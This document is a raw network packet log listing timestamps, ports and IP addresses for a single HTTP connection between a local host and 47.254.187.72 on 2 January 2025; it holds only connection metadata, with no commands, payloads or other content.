Jan 2, 2025 20:34:55.291836023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.291836977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.291882038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.293582916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.293593884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.293603897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.293613911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.293632984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.293646097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.421174049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.421190977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.421200991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.421214104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.421222925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.421257973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.421294928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.424366951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.424386978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.424396992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.424407959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.424423933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.424452066 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.426040888 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.426052094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.426062107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.426073074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.426098108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.426117897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.427594900 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.427623987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.427633047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.427635908 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.427654982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.427663088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.427664042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.427699089 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.430138111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.430175066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.430188894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.430198908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.430202007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.430242062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.433620930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.433633089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.433643103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.433654070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.433686018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.433881998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.435184002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.435211897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.435221910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.435231924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.435254097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.435273886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.438561916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.438574076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.438591003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.438600063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.438610077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.438627958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.438648939 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.441121101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.441132069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.441143036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.441186905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.441205025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.442861080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.442872047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.442882061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.442889929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.442899942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.442910910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.442912102 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.442950010 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.444431067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.444469929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.444485903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.444503069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.444511890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.444523096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.444561958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.447210073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.447236061 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.447246075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.447258949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.447267056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.447330952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.447330952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.450839996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.450858116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.450869083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.450880051 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.450896025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.450923920 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.452333927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.452344894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.452354908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.452366114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.452373981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.452404022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.453943014 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.453953028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.453963041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.453973055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.453984022 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.454016924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.457223892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.457238913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.457278967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.457279921 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.457292080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.457303047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.457309961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.457340002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.458930016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.458941936 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.458951950 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.458962917 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.458973885 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.459000111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.462174892 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.462228060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.462238073 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.462248087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.462249041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.462260008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.462287903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.462311983 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.463915110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.463926077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.463943005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.463953972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.463958025 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.463963985 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.463994980 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.464010954 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.467268944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.467289925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.467309952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.467327118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.467344046 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.467353106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.467396021 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.467418909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.468883038 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.468935013 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.468959093 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.468969107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.468980074 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.468991995 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.469005108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.469058990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.470637083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.470648050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.470659971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.470670938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.470678091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.470704079 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.470731974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.474140882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.474153996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.474167109 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.474178076 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.474189997 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.474205017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.474240065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.475711107 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.475723982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.475735903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.475745916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.475779057 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.475810051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.478990078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.479054928 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.479064941 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.479075909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.479087114 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.479135990 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.480711937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.480724096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.480734110 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.480823040 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.482599020 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.482615948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.482626915 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.482637882 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.482649088 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.482654095 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.482692957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.485857010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.485867977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.485877991 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.485888958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.485908985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.485940933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.487498999 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.487509966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.487526894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.487538099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.487546921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.487548113 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.487582922 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.490806103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.490844011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.490848064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.490859032 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.490876913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.490879059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.490886927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.490906000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.490927935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.492538929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.492549896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.492571115 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.492587090 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.492592096 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.492599010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.492609978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.492623091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.492640018 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.492660046 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.494154930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.494174957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.494190931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.494210005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.494210005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.494225025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.494235039 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.494321108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.507812977 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.507858992 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.507869005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.507879019 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.507889986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.507903099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.507909060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.507920027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.507931948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.507932901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.507961988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.507973909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.507994890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.512885094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.512897968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.512917042 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.512923956 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.512928009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.512939930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.512950897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.512954950 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.512963057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.512973070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.512995005 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.513011932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.516917944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.516937971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.516948938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.516961098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.516961098 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.516988993 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.517021894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.517051935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.517062902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.517075062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.517082930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.517083883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.517103910 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.517129898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.522031069 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.522042036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.522053003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.522063971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.522069931 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.522077084 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.522089005 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.522095919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.522102118 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.522110939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.522151947 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.527843952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.527884007 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.527884007 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.527904034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.527923107 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.527941942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.527952909 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.527952909 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.527964115 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.527973890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.527975082 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.527985096 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.527996063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.528027058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.531259060 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.531284094 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.531296015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.531306028 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.531322002 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.531327963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.531338930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.531349897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.531354904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.531362057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.531373978 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.531398058 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.531428099 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.620080948 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.620096922 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.620109081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.620120049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.620130062 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.620157957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.622694969 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.622735023 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.622754097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.622767925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.622778893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.622785091 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.622791052 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.622800112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.622814894 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.622842073 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.624209881 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.624241114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.624267101 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.624275923 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.624286890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.624294996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.624296904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.624320030 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.624355078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.626262903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.626275063 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.626286030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.626297951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.626311064 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.626346111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.629935980 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:55.629972935 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:55.630002022 CET	80	49730	47.254.187.72	192.168.2.4
